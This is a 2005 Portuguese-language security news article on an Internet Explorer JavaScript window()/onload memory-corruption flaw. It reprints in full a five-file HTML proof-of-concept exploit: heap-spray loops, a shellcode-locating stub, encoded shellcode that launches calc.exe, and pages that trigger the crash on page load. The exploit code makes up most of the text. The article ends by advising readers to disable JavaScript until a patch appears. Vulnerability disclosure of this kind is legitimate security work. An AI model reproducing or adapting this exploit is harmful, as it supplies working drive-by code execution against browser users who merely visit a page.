Total Security - www.totalsecurity.com.br
Gerais
Segunda - 21 de Novembro de 2005 às 19:17
Por: fgp

    Imprimir


Uma vulnerabilidade grave foi descoberta no Internet Explorer e pode ser usada para comprometer o sistema!
A falha relatada ocorre quando o IE não inicia corretamente a função window(); do javascript em
conjunto com o evento Onload da tag


Como conseqüência o Internet Explorer encontra uma exceção ao tentar chamar um endereço 32 bit
situado em ECX, como demonstrado na seguinte linha de código:

CALL DWORD [ECX+8]


Devido ao erro, ECX é inadvertidamente entupido pela representação unicode de uma string
nomeada de OBJECT ou mais especificamente [0X006f005B].


Como segmentos de [0X006f005B] são deslocados para um endereço de memória inválido (ou não
existente), o Internet Explorer não progride causando um crash (negação de serviço).


Esta falha já havia sido detectada e informada em 31/05/2005 e classificada como de baixo risco.


Ao se fazer um estudo mais minucioso da vulnerabilidade foi observado que a instrução está sendo

referenciada em [0X00600000], um espaço reservado para guardar características das janelas

abertas no desktop, estas estruturas fazem verificações dos títulos das janelas, de teclas e de

todas as barras de menus (arquivo/editar/exibir) atribuíveis a sessão particular de cada janela.


Consequentemente é praticável prever que [0x006f005B], poderia ser alcançado ao invocar diversas

estruturas grandes.


Por exemplo: ao abrir 12 novas sessões do web browser incrementariam [0X00600000] em

[0X006f005B].


Como conseqüência, um Shellcode poderia ser introduzido através de um dos elementos da janela e

inserido exatamente no chamado a [0X006f005B]

Combinando várias aberturas de janelas (expandindo a seção da memória) e técnicas legais que

permitem modificar elementos da janela como nos exemplos abaixo:


1- Titulo longo no documento html

2- Arquivo com nome longo

3- Caixas de alerta grandes.


Todos os métodos acima ao serem testados tiveram uma falha principal:

Só funcionariam se a vitima tivesse o desktop limpo (nenhum outro aplicativo aberto) isso resulta

em uma possibilidade muito pequena para se explorar a falha, exceto por uma condição:
a

abertura de uma Janela de prompt do JavaScript.


Empregando uma técnica simples para invocar diversas aberturas do prompt do JavaScript é possível

saturar a memória com o código arbitrário.




Abaixo segue o código divulgado pela agência *
href=http://www.computerterrorism.com/research/ie/poc.htm target=_blank>COMPUTER TERRORISM
*


onde a falha é explorada para se abrir o aplicativo CALC.EXE (calculadora do Windows), provando a

possibilidade de acesso a qualquer arquivo ao qual o usuário corrente tiver autorização.


>
São 5 arquivos HTML os quais devem ser salvos no mesmo diretório, index.htm, fillmem.htm,

bug2k.htm, bug.htm e blankwindow.htm.


atenção! os códigos abaixo são para estudo, a Total Security não se
responsabiliza pelo uso indevido.



nome do arquivo: index.htm
código:
***********************************************************
<!--

Computer Terrorism (UK)

==================================================


Microsoft Internet Explorer JavaScript Window() - Proof Of Concept


==================================================




Author:

--------


Stuart Pearson

Computer Terrorism (UK)

www.computerterrorism.com

21st November, 2005


Read the full advisory: http://www.computerterrorism.com/research/ie/ct21-11-2005


THE FOLLOWING PROOF OF CONCEPT IS PROVIDED EXCLUSIVELY FOR EDUCATIONAL

PURPOSES ONLY, AND IS PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED


WARRANTY. IN PARTICULAR, NEITHER THE AUTHOR NOR COMPUTER TERRORISM

MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE FITNESS

OF THIS CODE FOR ANY PARTICULAR PURPOSE.


PERMISSION TO USE, COPY, PRINT, AND DISTRIBUTE THIS DOCUMENT FOR EDUCATIONAL


PURPOSES IS HEREBY GRANTED, PROVIDED THAT THE TEXTUAL CONTENT REMAINS INTACT


AND UNMODIFIED.

-->


<html>


<head>

<meta http-equiv="Content-Language" content="en-gb">

<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">

<title>Computer Terrorism - Microsoft Internet Explorer Proof of Concept</title>

<script type="text/javascript">


function runpoc(iframecount)

{


document.getElementById("table1").rows[2].cells[0].innerHTML="<p
align=center><B><font

color=#339966 size=1 face=Arial>    loading,
please

wait....</font></p>"

document.getElementById("table1").rows[4].cells[0].innerHTML=""

document.getElementById("table1").rows[6].cells[0].innerHTML=""

document.getElementById("table1").rows[7].cells[0].innerHTML=""

document.getElementById("table1").rows[9].cells[0].innerHTML=""




top.consoleRef = open("blankWindow.htm","BlankWindow",

"width=1,height=1"

+",menubar=0"

+",toolbar=1"

+",status=0"

+",scrollbars=0"

+",left=1"

+",top=1"

+",resizable=0")


top.consoleRef.blur();


top.consoleRef.document.writeln(

"<html>"

+"<head>"

+"<title>CT</title>"

+"</head>"

+"<body onBlur=self.blur()>"

+"</body></html>"

)


self.focus() // Ensure the javascript prompt boxes are hidden in the background




for (i=1 ; i <=iframecount ; i++)

{

top.consoleRef.document.writeln("<iframe width=1 height=1 border=0 frameborder=0


src=fillmem.htm></iframe>")

}


if( iframecount == 8 ){

//alert("8");

top.consoleRef.document.writeln("<iframe width=1 height=1 border=0 frameborder=0


src=bug2k.htm></iframe>")

}


if( iframecount == 4 ){

//alert("4");

top.consoleRef.document.writeln("<iframe width=1 height=1 border=0 frameborder=0


src=bug.htm></iframe>")

}


//+"<iframe width=1 height=1 border=0 frameborder=0 src=bug.htm></iframe>"

//)



}

</script>

</head>


<body onLoad="self.moveTo(0,0);self.resizeTo(screen.width,screen.height);">


<p> </p>

<p> </p>


<table border="0" width="100%" id="table1">

<tr>

<td>

<p align="center">

<a href="http://www.computerterrorism.com?1">

<img border="0" src="http://computerterrorism.com/research/ie/ctlogo.png"


width="270" height="57"></a></p>

<p align="center"><font color="#333333"><b><font
size="1"

face="Arial">Microsoft Internet Explorer

JavaScript Window</font></b><font size="1"
face="Verdana">()</font><b><font

size="1" face="Arial">

Proof of Concept</font></b></font></td>

</tr>

<tr>

<td width="98%" height="22">

 </td>

</tr>

<tr>

<td width="98%" height="22">

<p align="center"><b><font face="Arial"
size="1" color="#339966">The

following Proof of Concept is provided exclusively for educational purposes


<br>

only, and is subject to our standard website <u>

<a href="http://www.computerterrorism.com/termsandconditions.htm">

<font color="#339966">Terms and Conditions</font></a></u>
of

use.</font></b></td>

</tr>

<tr>

<td width="98%" height="15"> </td>

</tr>

<tr>

<td width="98%" height="15">

<p align="center"><b><font face="Arial"
size="1"

color="#333333">Selecione seu sistema operacional:-</font></b></td>

</tr>

<tr>

<td width="98%" height="10"></td>

</tr>

<tr>

<td width="98%" height="27" align="center">

<p><b><font color="#339966" size="1"
face="Arial">

-</font><font color="#333333"><font color="#333333"
size="1"

face="Arial"> </font> </font><font color="#333333"
size="1" face="Arial"><a href="#"

onclick="javascript:runpoc(4)">

<span style="text-decoration: none"><font color="#333333">Microsoft


Windows XP (todos os Service Packs)</font></span></a><font


color="#333333"> </font></font>

<font color="#339966" size="1" face="Arial">
-</font></b></td>

</tr>

<tr>

<td width="98%" height="22" align="center">

<p><b><font color="#339966" size="1"
face="Arial">

-</font><font color="#333333"><font color="#333333"
size="1"

face="Arial"> </font> </font><font color="#333333"
size="1" face="Arial"><a href="#"

onclick="javascript:runpoc(8)">

<span style="text-decoration: none"><font color="#333333">Microsoft


Windows 2000/Universal (Slower)</font></span></a><font


color="#333333"> </font></font>

<font color="#339966" size="1" face="Arial">
-</font></b></td>

</tr>

<tr>

<td width="98%" height="15" align="center">

</td>

</tr>

<tr>

<td width="98%" height="15" align="center">

<b><font color="#339966" face="Arial" size="1">o
link acima abrirá (

calc.exe) "poderia ser usado para abrir qualquer outro arquivo" <br>

<font color="#339966"><span style="text-decoration:
none">

<a href="http://www.computerterrorism.com/research/ie/ct21-11-2005.htm">

<font color="#339966"><span style="text-decoration:
none">(Read the full

advisory

here)</span></font></a></span></font></font></b></td>

</tr>

</table>


<p> </p>


</body>


</html>



fim do arquivo index.htm
***********************************************************








nome do arquivo: fillmem.htm
código:
***********************************************************
<HTML>

<HEAD>

<Script Language="JavaScript">

function load() {

var spearson=0

var eip = ""

var prep_shellcode = ""

var shellcode = ""

var fillmem = ""




//

// Address called by the bug (also serves as slide code)

//

for (spearson=1 ; spearson <=500 ; spearson++)

{

eip = eip + unescape("%u7030%u4300")

//eip = eip + unescape("%u4300")

}




//

// Create a large chunk for memory saturation

//

for (spearson=1 ; spearson <=200; spearson++)

{

fillmem = fillmem + eip

}


//

// Search for our shellcode (tagged with my initials) and copy to a more stable
area

//

prep_shellcode = unescape("%u9090%uBA90%u4142%u4142%uF281%u1111%u1111%u4190"
+

"%u1139%uFA75%u9090%uF18B%uF88B%u9057%uc933%ub966" +

"%u002d%ua5F3%u9090%u905f%ue7ff")


//

// Harmless Calc.exe shellcode

//

shellcode = unescape("%u5053%u5053%u9090%uC929%uE983%uD9DB%uD9EE%u2474"
+

"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +

"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +

"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +

"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +

"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +

"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +

"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +

"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +

"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +

"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +

"%uCC4A%uD0FF")




fillmem = fillmem + prep_shellcode + shellcode


prompt(fillmem,"Computer Terrorism (UK) Ltd - Internet Explorer Vulnerability")


}

// -->

</Script>

</head>

<TITLE>Windows Explorer Exploit</TITLE>

<body onload="setTimeout("load()",2000)">

test test test

</body>

</html>


fim do arquivo fillmem.htm
***********************************************************





nome do arquivo: bug.htm
código:
***********************************************************
<html>

<TITLE>Crash XP</title>

<body onload="setTimeout("main()",6000)">

<SCRIPT>


function main()

{


document.write("<TITLE>hello2</TITLE>")

document.write("<body onload=window();>")


window.location.reload()


}

</SCRIPT>

<br><br><br><br><br><br><center><FONT
FACE=ARIAL SIZE 12PT>Please Wait

!</FONT></center>



fim do arquivo bug.htm
***********************************************************





nome do arquivo: bug2k.htm
codigo:
***********************************************************
<html>

<TITLE>Crash 2000</title>

<body onload="setTimeout("main()",20000)">

<SCRIPT>


function main()

{


document.write("<TITLE>hello2</TITLE>")

document.write("<body onload=window();>")


window.location.reload()


}

</SCRIPT>

<br><br><br><br><br><br><center><FONT
FACE=ARIAL SIZE 12PT>Please Wait

!</FONT></center>



fim do arquivo bug2k.htm
***********************************************************






nome do arquivo: blankwindow.htm
codigo:
***********************************************************
<html>

<TITLE>Blank Window</title>

<body></body>
</html>
fim do arquivo blankwindow.htm
***********************************************************




A microsoft ainda não se pronuciou a respeito da falha
O código é executado quando a página é carregada.
Para a falha ser explorada basta que o usuário visite um web site com código malicioso.
A vulnerabilidade foi relatada em um sistema completamente atualizado com internet Explorer 6,0 e Microsoft Windows 2000 SP4.


Nota: Nenhuma correção foi disponibilizada até o momento. Portanto, aconselha-se desabilitar o Javascript até que uma correção seja liberada.

Total Security




Fonte: Eu escrevi

Comentários

Deixe seu Comentário

URL Fonte: http://www.totalsecurity.com.br/noticia/858/visualizar/